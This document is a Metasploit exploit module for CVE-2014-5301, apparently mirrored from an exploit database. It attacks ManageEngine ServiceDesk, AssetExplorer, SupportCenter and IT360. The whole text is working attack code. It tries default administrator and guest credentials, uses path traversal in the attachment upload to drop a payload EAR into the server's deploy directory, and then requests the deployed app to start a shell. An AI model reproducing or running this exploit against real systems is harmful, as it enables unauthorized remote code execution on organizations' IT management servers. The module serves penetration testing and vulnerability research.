## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'ManageEngine Multiple Products Authenticated File Upload', 'Description' => %q{ This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk, AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts the upload does not handle correctly '../' sequences, which can be abused to write in the file system. Authentication is needed to exploit this vulnerability, but this module will attempt to login using the default credentials for the administrator and guest accounts. Alternatively you can provide a pre-authenticated cookie or a username / password combo. For IT360 targets enter the RPORT of the ServiceDesk instance (usually 8400). All versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer, SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been been tested successfully in Windows and Linux on several versions. }, 'Author' => [ 'Pedro Ribeiro ' # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-5301'], ['OSVDB', '116733'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_sd_file_upload.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/5'] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => false, # Privileged on Windows but not on Linux targets 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic', { } ], [ 'ServiceDesk Plus v5-v7.1 < b7016/AssetExplorer v4/SupportCenter v5-v7.9', { 'attachment_path' => '/workorder/Attachment.jsp' } ], [ 'ServiceDesk Plus/Plus MSP v7.1 >= b7016 - v9.0 < b9031/AssetExplorer v5-v6.1', { 'attachment_path' => '/common/FileAttachment.jsp' } ], [ 'IT360 v8-v10.4', { 'attachment_path' => '/common/FileAttachment.jsp' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 15 2014')) register_options( [ Opt::RPORT(8080), OptString.new('JSESSIONID', [false, 'Pre-authenticated JSESSIONID cookie (non-IT360 targets)']), OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), OptString.new('USERNAME', [true, 'The username to login as', 'guest']), OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']), OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to']) ], self.class) end def get_version res = send_request_cgi({ 'uri' => '/', 'method' => 'GET' }) # Major version, minor version, build and product (sd = servicedesk; ae = assetexplorer; sc = supportcenterl; it = it360) version = [ 9999, 9999, 0, 'sd' ] if res && res.code == 200 if res.body.to_s =~ /ManageEngine ServiceDesk/ if res.body.to_s =~ /  \|  ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ output = $1 version = [output[0].to_i, output[2].to_i, '0', 'sd'] end if res.body.to_s =~ /src='\/scripts\/Login\.js\?([0-9]+)'><\/script>/ # newer builds version[2] = $1.to_i elsif res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # older builds version[2] = $1.to_i end elsif res.body.to_s =~ /ManageEngine AssetExplorer/ if res.body.to_s =~ /ManageEngine AssetExplorer  ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ || res.body.to_s =~ /
version ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)<\/div>/ output = $1 version = [output[0].to_i, output[2].to_i, 0, 'ae'] end if res.body.to_s =~ /src="\/scripts\/ClientLogger\.js\?([0-9]+)"><\/script>/ version[2] = $1.to_i end elsif res.body.to_s =~ /ManageEngine SupportCenter Plus/ # All of the vulnerable sc installations are "old style", so we don't care about the major / minor version version[3] = 'sc' if res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # ... but get the build number if we can find it version[2] = $1.to_i end elsif res.body.to_s =~ /\/console\/ConsoleMain\.cc/ # IT360 newer versions version[3] = 'it' end elsif res && res.code == 302 && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/ # IT360 older versions, not a very good detection string but there is no alternative? version[3] = 'it' end version end def check version = get_version # TODO: put fixed version on the two ifs below once (if...) products are fixed # sd was fixed on build 9031 # ae and sc still not fixed if (version[0] <= 9 && version[0] > 4 && version[2] < 9031 && version[3] == 'sd') || (version[0] <= 6 && version[2] < 99999 && version[3] == 'ae') || (version[3] == 'sc' && version[2] < 99999) return Exploit::CheckCode::Appears end if (version[2] > 9030 && version[3] == 'sd') || (version[2] > 99999 && version[3] == 'ae') || (version[2] > 99999 && version[3] == 'sc') return Exploit::CheckCode::Safe else # An IT360 check always lands here, there is no way to get the version easily return Exploit::CheckCode::Unknown end end def authenticate_it360(port, path, username, password) if datastore['DOMAIN_NAME'] == nil vars_post = { 'LOGIN_ID' => username, 'PASSWORD' => password, 'isADEnabled' => 'false' } else vars_post = { 'LOGIN_ID' => username, 'PASSWORD' => password, 'isADEnabled' => 'true', 'domainName' => datastore['DOMAIN_NAME'] } end res = send_request_cgi({ 'rport' => port, 'method' => 'POST', 'uri' => normalize_uri(path), 'vars_get' => { 'service' => 'ServiceDesk', 'furl' => '/', 'timestamp' => Time.now.to_i }, 'vars_post' => vars_post }) if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" return res.get_cookies else return nil end end def get_it360_cookie_name res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("/") }) cookie = res.get_cookies if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ return $1 else return nil end end def login_it360 # Do we already have a valid cookie? If yes, just return that. if datastore['IAMAGENTTICKET'] cookie_name = get_it360_cookie_name cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';' return cookie end # get the correct path, host and port res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/') }) if res && res.redirect? uri = [ res.redirection.port, res.redirection.path ] else return nil end cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) if cookie != nil return cookie elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil # we've tried with the default guest password, now let's try with the default admin password cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator') if cookie != nil return cookie else # Try one more time with the default admin login for some versions cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin') if cookie != nil return cookie end end end nil end # # Authenticate and validate our session cookie. We need to submit credentials to # j_security_check and then follow the redirect to HomePage.do to create a valid # authenticated session. # def authenticate(cookie, username, password) res = send_request_cgi!({ 'method' => 'POST', 'uri' => normalize_uri('/j_security_check;' + cookie.to_s.gsub(';', '')), 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => cookie, 'vars_post' => { 'j_username' => username, 'j_password' => password, 'logonDomainName' => datastore['DOMAIN_NAME'] } }) if res && (res.code == 302 || (res.code == 200 && res.body.to_s =~ /redirectTo="\+'HomePage\.do';/)) # sd and ae respond with 302 while sc responds with a 200 return true else return false end end def login # Do we already have a valid cookie? If yes, just return that. if datastore['JSESSIONID'] != nil cookie = 'JSESSIONID=' + datastore['JSESSIONID'].to_s + ';' return cookie end # First we get a valid JSESSIONID to pass to authenticate() res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/') }) if res && res.code == 200 cookie = res.get_cookies authenticated = authenticate(cookie, datastore['USERNAME'], datastore['PASSWORD']) if authenticated return cookie elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil # we've tried with the default guest password, now let's try with the default admin password authenticated = authenticate(cookie, 'administrator', 'administrator') if authenticated return cookie else # Try one more time with the default admin login for some versions authenticated = authenticate(cookie, 'admin', 'admin') if authenticated return cookie end end end end nil end def send_multipart_request(cookie, payload_name, payload_str) if payload_name =~ /\.ear/ upload_path = '../../server/default/deploy' else upload_path = rand_text_alpha(4+rand(4)) end post_data = Rex::MIME::Message.new if @my_target == targets[1] # old style post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"") post_data.add_part(payload_name, nil, nil, "form-data; name=\"filename\"") post_data.add_part('', nil, nil, "form-data; name=\"vecPath\"") post_data.add_part('', nil, nil, "form-data; name=\"vec\"") post_data.add_part('AttachFile', nil, nil, "form-data; name=\"theSubmit\"") post_data.add_part('WorkOrderForm', nil, nil, "form-data; name=\"formName\"") post_data.add_part(upload_path, nil, nil, "form-data; name=\"component\"") post_data.add_part('Attach', nil, nil, "form-data; name=\"ATTACH\"") else post_data.add_part(upload_path, nil, nil, "form-data; name=\"module\"") post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"") post_data.add_part('', nil, nil, "form-data; name=\"att_desc\"") end data = post_data.to_s res = send_request_cgi({ 'uri' => normalize_uri(@my_target['attachment_path']), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => cookie }) return res end def pick_target return target if target.name != 'Automatic' version = get_version if (version[0] <= 7 && version[2] < 7016 && version[3] == 'sd') || (version[0] == 4 && version[3] == 'ae') || (version[3] == 'sc') # These are all "old style" versions (sc is always old style) return targets[1] elsif version[3] == 'it' return targets[3] else return targets[2] end end def exploit if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable") end print_status("#{peer} - Selecting target...") @my_target = pick_target print_status("#{peer} - Selected target #{@my_target.name}") if @my_target == targets[3] cookie = login_it360 else cookie = login end if cookie.nil? fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to authenticate") end # First we generate the WAR with the payload... war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war_payload = payload.encoded_war({ :app_name => war_app_base }) # ... and then we create an EAR file that will contain it. ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) app_xml = "" app_xml << '' app_xml << "#{rand_text_alphanumeric(4 + rand(32 - 4))}" app_xml << "#{war_app_base + ".war"}" app_xml << "/#{ear_app_base}" # Zipping with CM_STORE to avoid errors while decompressing the zip # in the Java vulnerable application ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) ear_file.add_file(war_app_base + '.war', war_payload.to_s) ear_file.add_file('META-INF/application.xml', app_xml) ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.ear' if @my_target != targets[3] # Linux doesn't like it when we traverse non existing directories, # so let's create them by sending some random data before the EAR. # (IT360 does not have a Linux version so we skip the bogus file for it) print_status("#{peer} - Uploading bogus file...") res = send_multipart_request(cookie, rand_text_alphanumeric(4 + rand(32 - 4)), rand_text_alphanumeric(4 + rand(32 - 4))) if res && res.code != 200 fail_with(Exploit::Failure::Unknown, "#{peer} - Bogus file upload failed") end end # Now send the actual payload print_status("#{peer} - Uploading EAR file...") res = send_multipart_request(cookie, ear_file_name, ear_file.pack) if res && res.code == 200 print_status("#{peer} - Upload appears to have been successful") else fail_with(Exploit::Failure::Unknown, "#{peer} - EAR upload failed") end 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi({ 'uri' => normalize_uri(ear_app_base, war_app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end end end # Iranian Exploit DataBase = http://IeDb.Ir [2015-01-21]